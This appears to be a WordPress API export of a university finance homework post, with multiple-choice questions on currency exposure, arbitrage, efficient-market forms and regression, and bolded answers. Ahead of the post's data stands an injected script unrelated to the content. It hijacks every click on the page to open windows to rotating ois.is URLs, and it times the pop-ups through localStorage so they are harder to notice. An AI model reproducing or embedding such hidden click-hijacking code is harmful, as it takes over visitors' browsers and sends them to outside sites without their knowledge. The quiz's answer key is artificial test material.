<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1031,"date":"2023-04-26T22:11:22","date_gmt":"2023-04-26T14:11:22","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154204\/?p=1031"},"modified":"2023-04-28T01:05:13","modified_gmt":"2023-04-27T17:05:13","slug":"hw6","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=1031","title":{"rendered":"HW6"},"content":{"rendered":"<p>WEEK 11<\/p>\n<p>1. \u4ee5\u4e0b\u5716\u4f8b\uff0c\u82e5\u9810\u671f\u672a\u4f86\u52a0\u62ff\u5927\u5e63\u5347\u503c\uff0c\u5247\u4e0b\u5217\u4f55\u8005\u884c\u70ba\u53ef\u4ee5\u907f\u96aa?<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-1032\" src=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/04\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-04-26-220336-300x191.png\" alt=\"\" width=\"482\" height=\"307\" srcset=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/04\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-04-26-220336-300x191.png 300w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/04\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-04-26-220336-800x510.png 800w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/04\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-04-26-220336-768x490.png 768w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/04\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-04-26-220336.png 1320w\" sizes=\"(max-width: 482px) 100vw, 482px\" \/><\/p>\n<p>A. \u6e1b\u5c11\u5728\u52a0\u62ff\u5927\u7684\u71df\u6536<\/p>\n<p>B. \u6e1b\u5c11\u5728\u7f8e\u570b\u570b\u5167\u7684\u751f\u7522\u6539\u7531\u52a0\u62ff\u5927\u751f\u7522<\/p>\n<p><strong>C. \u6e1b\u5c11\u52a0\u62ff\u5927\u7684\u6210\u672c\u3001\u589e\u52a0\u7f8e\u570b\u6210\u672c<\/strong><\/p>\n<p>D. \u6e1b\u5c11\u5728\u7f8e\u570b\u501f\u9322\u3001\u589e\u52a0\u5728\u52a0\u62ff\u5927\u501f\u9322<\/p>\n<p>2. \u7d93\u6fdf\u98a8\u96aa\u7ba1\u7406\u7684\u76ee\u6a19\u5c31\u662f\u5728\u9762\u81e8\u532f\u7387\u8b8a\u52d5\u6642\u7dad\u6301\u4f01\u696d\u7684____\u7a69\u5b9a\u3002<\/p>\n<p>A. \u8cc7\u7522<\/p>\n<p>B. \u5e33\u9762\u50f9\u503c<\/p>\n<p><strong>C. \u7372\u5229<\/strong><\/p>\n<p>D. \u8ca1\u5bcc<\/p>\n<p>3. MNCs may restructure their operations to reduce their economic exposure by__________ to other locations in other to match cash inflows and outflows in foreign currencies.<\/p>\n<p>A. changing the company address<\/p>\n<p><strong>B. shifting the sources of costs or revenue<\/strong><\/p>\n<p>C. changing the suppliers<\/p>\n<p>D. none of the above<\/p>\n<p>4. \u95dc\u65bc\u4e0b\u5716\u4f8b\uff0c\u4ee5\u4e0b\u4f55\u8005\u932f\u8aa4?<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-1035\" src=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/04\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-04-26-223339-300x164.png\" alt=\"\" width=\"482\" height=\"264\" \/><\/p>\n<p><strong>A. \u539f\u59cb\u7684\u7dda\u6a19\u6e96\u5dee\u8f03\u5c0f<\/strong><\/p>\n<p>B. \u7d93\u8abf\u6574\u5f8c\uff0c\u6a19\u6e96\u5dee\u6703\u8b8a\u5c0f<\/p>\n<p>C. \u7dda\u8d8a\u9661\uff0c\u6a19\u6e96\u5dee\u8d8a\u5927<\/p>\n<p>D. \u539f\u59cb\u7684\u7dda\u96a8\u8457\u5916\u5e63\u5347\u8cb6\u503c\uff0c\u73fe\u91d1\u640d\u76ca\u6703\u6709\u8f03\u5927\u7684\u6ce2\u52d5<\/p>\n<p>5. Central Bank quotes the following for the British pound and the China CNY:<br \/>\nQuoted Bid Price\u00a0 \u00a0Quoted Ask price<br \/>\nValue of a British Pound in NTD\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a050.33 NTD\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a050.66 NTD<br \/>\nValue of a China CNY in NTD\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 4.963 NTD\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 5.125 NTD<br \/>\nValue of a British Pound in China CNY\u00a0 \u00a0 \u00a0 \u00a0 \u00a09.7195 CNY\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 9.75 CNY<br \/>\nAssume you have NTD 10,000 to conduct triangular arbitrage. What is your profit from implementing this strategy?<\/p>\n<p>\u56db\u6368\u4e94\u5165\u5230\u5c0f\u6578\u9ede\u7b2c\u4e00\u4f4d<\/p>\n<p>A. 138.5<\/p>\n<p>B. 238.3<\/p>\n<p>C. 38.3<\/p>\n<p><strong>D. 138.3<\/strong><\/p>\n<p>6. Assuming no transaction costs and a quoted cross-rate of AUD\/CAD=1.0101. If CAD\/USD=0.72881 and USD\/AUD=1.3904, the profit margin under the triangular arbitrage opportunity is_____.<\/p>\n<p><strong>A. 0.02357 USD<\/strong><\/p>\n<p>B. 0.73617 AUD<\/p>\n<p>C. 0.02337 USD<\/p>\n<p>D. 0.20775 USD<\/p>\n<p>7. Transaction exposure __________.<\/p>\n<p>A. reduces exposure to price or rate fluctuations<\/p>\n<p>B. include financial assets that represent a claim on other assets<\/p>\n<p>C. is exposure to brokerage fees and commissions when buying hedging instruments<\/p>\n<p><strong>D. is short-run financial exposure due to uncertain prices or interest rates<\/strong><\/p>\n<p>8. A short-term financial decision based on an MNC management&#8217;s expectation that the local foreign currency will appreciate may be:<\/p>\n<p>A. increasing local customers accounts receivable and increasing local notes payable<\/p>\n<p>B. decreasing local notes receivable and decreasing accruals<\/p>\n<p>C. increasing local inventories and increasing local notes payable<\/p>\n<p><strong>D. increasing local accounts receivable and decreasing local accounts payable.<\/strong><\/p>\n<p>9. Assume the bid rate of a New Zealand dollar is $0.33 while the ask rate is $0.335 at Bank X. Assume the bid rate of the New Zealand dollar is $0.32 while the ask rate is $0.325 at Bank Y. Given this information, what would be your gain if you use $1,000,000 and execute location arbitrage?<\/p>\n<p><strong>A. $15,385<\/strong><\/p>\n<p>B. $15,625<\/p>\n<p>C. $22,136<\/p>\n<p>D. $31,250<\/p>\n<p>10. Determine whether arbitrage opportunities exist given the following foreign exchange rates:<\/p>\n<p>A. $1.8\/L\u3001DM2\/$\u3001DM4\/L<\/p>\n<p>B. \u00a5 100\/$\u3001DM2\/$\u3001\u00a5 50\/DM<\/p>\n<p>C. HKD 7.8\/$\u3001\u00a5100\/$\u3001\u00a5 14\/HKD<\/p>\n<p><strong>D. Both A and C<\/strong><\/p>\n<p>WEEK 12<\/p>\n<p>1. \u95dc\u65bc&#8221;\u9810\u6e2c&#8221;\u7684\u6558\u8ff0\uff0c\u4e0b\u5217\u4f55\u8005\u6b63\u78ba<\/p>\n<p>A. \u4e00\u822c\u91d1\u878d\u8cc7\u7522\u50f9\u683c\u7684\u9810\u6e2c\uff0c\u90fd\u662f\u6307\u5831\u916c\u7387\u7684\u9810\u6e2c\uff0c\u5148\u9810\u6e2c\u5831\u916c\u7387\uff0c\u7136\u5f8c\u518d\u4e58\u4e0a\u50f9\u683c\uff0c\u5f97\u5230\u50f9\u683c\u7684\u9810\u6e2c\u3002<\/p>\n<p>B. \u5728\u6a6b\u65b7\u9762\u8ff4\u6b78\uff0c\u50be\u5411\u7528 predict<\/p>\n<p>C. \u5728\u7e31\u65b7\u9762\u8ff4\u6b78\uff0c\u50be\u5411\u7528 forecast<\/p>\n<p><strong>D. \u4ee5\u4e0a\u7686\u662f<\/strong><\/p>\n<p>2. \u5f31\u5f0f\u6548\u7387\u5e02\u5834\u5047\u8aaa<\/p>\n<p>A. \u99c1\u65a5\u6280\u8853\u5206\u6790\uff0c\u4f46\u57fa\u672c\u5206\u6790\u4ecd\u7136\u6709\u6548\u3002<\/p>\n<p>B. \u99c1\u65a5\u57fa\u672c\u5206\u6790\uff0c\u4f46\u6280\u8853\u5206\u6790\u4ecd\u7136\u6709\u6548\u3002<\/p>\n<p>C. \u540c\u6642\u99c1\u65a5\u57fa\u672c\u5206\u6790\u8207\u6280\u8853\u5206\u6790\u3002<\/p>\n<p><strong>D. \u99c1\u65a5\u6280\u8853\u5206\u6790\uff0c\u4f46\u5c0d\u65bc\u57fa\u672c\u5206\u6790\u6709\u6548\u8207\u5426\uff0c\u4ecd\u8981\u770b\u534a\u5f37\u5f0f\u6548\u7387\u5e02\u5834\u662f\u5426\u6210\u7acb\u3002<\/strong><\/p>\n<p>3. Which one of the following statements is not correct?<\/p>\n<p>A. The semi-strong form of the EMH states that all publicly available information must be reflected in the current stock price.<\/p>\n<p>B. The strong form of the EMH states that all information including inside information must be reflected in the current stock price.<\/p>\n<p>C. Proponents of the EMH typically advocate a passive investment strategy.<\/p>\n<p><strong>D. Random price movements of stock price indicate irrational markets.<\/strong><\/p>\n<p>4. A class of Efficient Market Hypothesis that implies all public information is calculated into a stock&#8217;s current share price. This is<\/p>\n<p>A. weak form efficiency.<\/p>\n<p><strong>B. semi-strong form efficiency.<\/strong><\/p>\n<p>C. strong form efficiency.<\/p>\n<p>D. super form efficiency.<\/p>\n<p>5. The main difference between the three forms of market efficiency is that<\/p>\n<p>A. the definition of efficiency differs.<\/p>\n<p>B. the definition of excess return differs.<\/p>\n<p>C. the definition of prices differs.<\/p>\n<p><strong>D. the definition of information differs.<\/strong><\/p>\n<p>6. \u4e0b\u5217\u95dc\u65bc\u81ea\u6211\u76f8\u95dc\u6a21\u578b\u4e4b\u6558\u8ff0\u4f55\u8005\u6709\u8aa4?<\/p>\n<p>A. AR(1)\u8aa4\u5dee\u6a21\u578b\u6307\u7684\u662f\u6bcf\u4e00\u671f\u7684\u8aa4\u5dee\u9805\u542b\u6709\u843d\u5f8c\u4e00\u671f\u8aa4\u5dee\u9805\u7684\u5f71\u97ff\u6210\u5206\uff0c\u518d\u52a0\u4e0a\u7576\u671f\u767c\u751f\u7684\u96a8\u6a5f\u5e72\u64fe\u9805<\/p>\n<p>B. \u81ea\u6211\u8ff4\u6b78\u6a21\u578b\u6307\u7684\u662f\uff0c\u6642\u9593\u5e8f\u5217\u8b8a\u6578\u4ee5\u81ea\u5df1\u7684\u843d\u5f8c\u671f\u4f5c\u70ba\u89e3\u91cb\u8b8a\u6578\u7684\u8ff4\u6b78\u6a21\u578b<\/p>\n<p><strong>C. \u6642\u9593\u5e8f\u5217\u4e4b\u5b9a\u614b\u689d\u4ef6\u4e0d\u6210\u7acb\uff0c\u6a21\u578b\u4f9d\u7136\u53ef\u4ee5\u826f\u597d\u904b\u4f5c<\/strong><\/p>\n<p>D. \u4ee5AR(1)\u6a21\u578b\u4f30\u8a08\u532f\u7387\u8cc7\u6599\u6307\u7684\u662f\uff0c\u4ee5\u81ea\u5df1\u524d\u4e00\u671f\u532f\u7387\u8cc7\u6599\u4f5c\u70ba\u89e3\u91cb\u8b8a\u6578\u4f86\u9810\u6e2c\u4e0b\u4e00\u671f<\/p>\n<p>7.\u00a0 \u4e0b\u5217\u95dc\u65bc\u6a21\u578b\u9810\u6e2c\u80fd\u529b\u7684\u6bd4\u8f03\uff0c\u4f55\u8005\u6709\u8aa4?<\/p>\n<p>A. \u5c07\u8cc7\u6599\u5206\u70ba\u8a13\u7df4\u671f\u548c\u9a57\u8b49\u671f\u5169\u90e8\u5206<\/p>\n<p><strong>B. \u7528\u9a57\u8b49\u671f\u7684\u8cc7\u6599\u4f86\u5efa\u7acb\u6a21\u578b<\/strong><\/p>\n<p>C. \u770b\u9a57\u8b49\u671f\u7684\u5be6\u969b\u503c\u8207\u6a21\u578b\u9810\u6e2c\u503c\uff0c\u9032\u884c\u5404\u500b\u6a21\u578b\u7d55\u5c0d\u5dee\u7684\u6bd4\u8f03\u9078\u64c7\u6700\u6e96\u7684\u6a21\u578b<\/p>\n<p>D. \u4ee5\u4e0a\u7686\u975e<\/p>\n<p>8. \u95dc\u65bc\u8ff4\u6b78\u7d71\u8a08\u4e2d&#8221;R \u5e73\u65b9&#8221;\u4e4b\u6558\u8ff0\u4e0b\u5217\u4f55\u8005\u6709\u8aa4?<\/p>\n<p>A. \u5176\u4ee3\u8868\u6240\u6709\u89e3\u91cb\u8b8a\u6578X \u7528\u7dda\u6027\u8ff4\u6b78\u6a21\u578b\u6240\u80fd\u89e3\u91cb\u7684\u61c9\u8b8a\u6578Y<\/p>\n<p><strong>B. R \u5e73\u65b9\u4ecb\u65bc\u6b63\u8ca0\u4e00\u4e4b\u9593<\/strong><\/p>\n<p>C. R \u5e73\u65b9\u8d8a\u5927\uff0c\u89e3\u91cb\u529b\u8d8a\u5f37<\/p>\n<p>D. \u4ee5\u4e0a\u7686\u6b63\u78ba\u7121\u8aa4<\/p>\n<p>9. \u95dc\u65bc\u8ff4\u6b78\u7d71\u8a08\u4e2d\u7684\u5224\u5b9a\u4fc2\u6578\u548cF\u503c\u4e4b\u6558\u8ff0\u4e0b\u5217\u4f55\u8005\u6709\u8aa4?<\/p>\n<p>A. R square \u548c F\u503c\uff0c\u6709\u53ef\u80fd\u51fa\u73fe\u4e00\u500b\u5927\u4e00\u500b\u5c0f\u7684\u5f62\u6cc1<\/p>\n<p>B. \u5169\u8005\u7686\u53ef\u7528\u4f86\u5224\u65b7\u8ff4\u6b78\u6a21\u578b\u662f\u5426\u5177\u6709\u89e3\u91cb\u529b<\/p>\n<p>C. \u8a08\u7b97F\u503c\u4e4b\u5b8c\u6574\u6b65\u9a5f\uff0c\u9700\u8981\u6709\u5176\u81ea\u7531\u5ea6\u3001\u7e3d\u5e73\u65b9\u548cSSTO\u53ca\u8ff4\u6b78\u5e73\u65b9\u548c\u6216\u8aa4\u5dee\u5e73\u65b9\u548c<\/p>\n<p><strong>D. \u4ee5\u4e0a\u7686\u6b63\u78ba\u7121\u8aa4<\/strong><\/p>\n<p>10. \u95dc\u65bc\u5f37\u5f0f\u6548\u7387\u5e02\u5834\u4e4b\u6558\u8ff0\u4f55\u8005\u6b63\u78ba?<\/p>\n<p>A. \u53ef\u900f\u904e\u57fa\u672c\u5206\u6790\u4f86\u7372\u53d6\u8d85\u984d\u5831\u916c<\/p>\n<p><strong>B. \u7121\u6cd5\u900f\u904e\u5167\u7dda\u8cc7\u8a0a\u4f86\u7372\u53d6\u8d85\u984d\u5831\u916c<\/strong><\/p>\n<p>C. \u534a\u5f37\u5f0f\u6548\u7387\u5e02\u5834\u5fc5\u6eff\u8db3\u5f37\u5f0f\u6548\u7387\u5e02\u5834<\/p>\n<p>D. \u5176\u4ee3\u8868\u5e02\u5834\u5df2\u53cd\u61c9\u6240\u6709\u6b77\u53f2\u516c\u958b\u8cc7\u8a0a<\/p>\n","protected":false},"excerpt":{"rendered":"<p>WEEK 11 1. \u4ee5\u4e0b\u5716\u4f8b\uff0c\u82e5\u9810\u671f\u672a\u4f86\u52a0\u62ff\u5927\u5e63\u5347\u503c\uff0c\u5247\u4e0b\u5217\u4f55\u8005\u884c\u70ba\u53ef\u4ee5\u907f\u96aa?<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1031"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1031"}],"version-history":[{"count":18,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1031\/revisions"}],"predecessor-version":[{"id":1051,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1031\/revisions\/1051"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}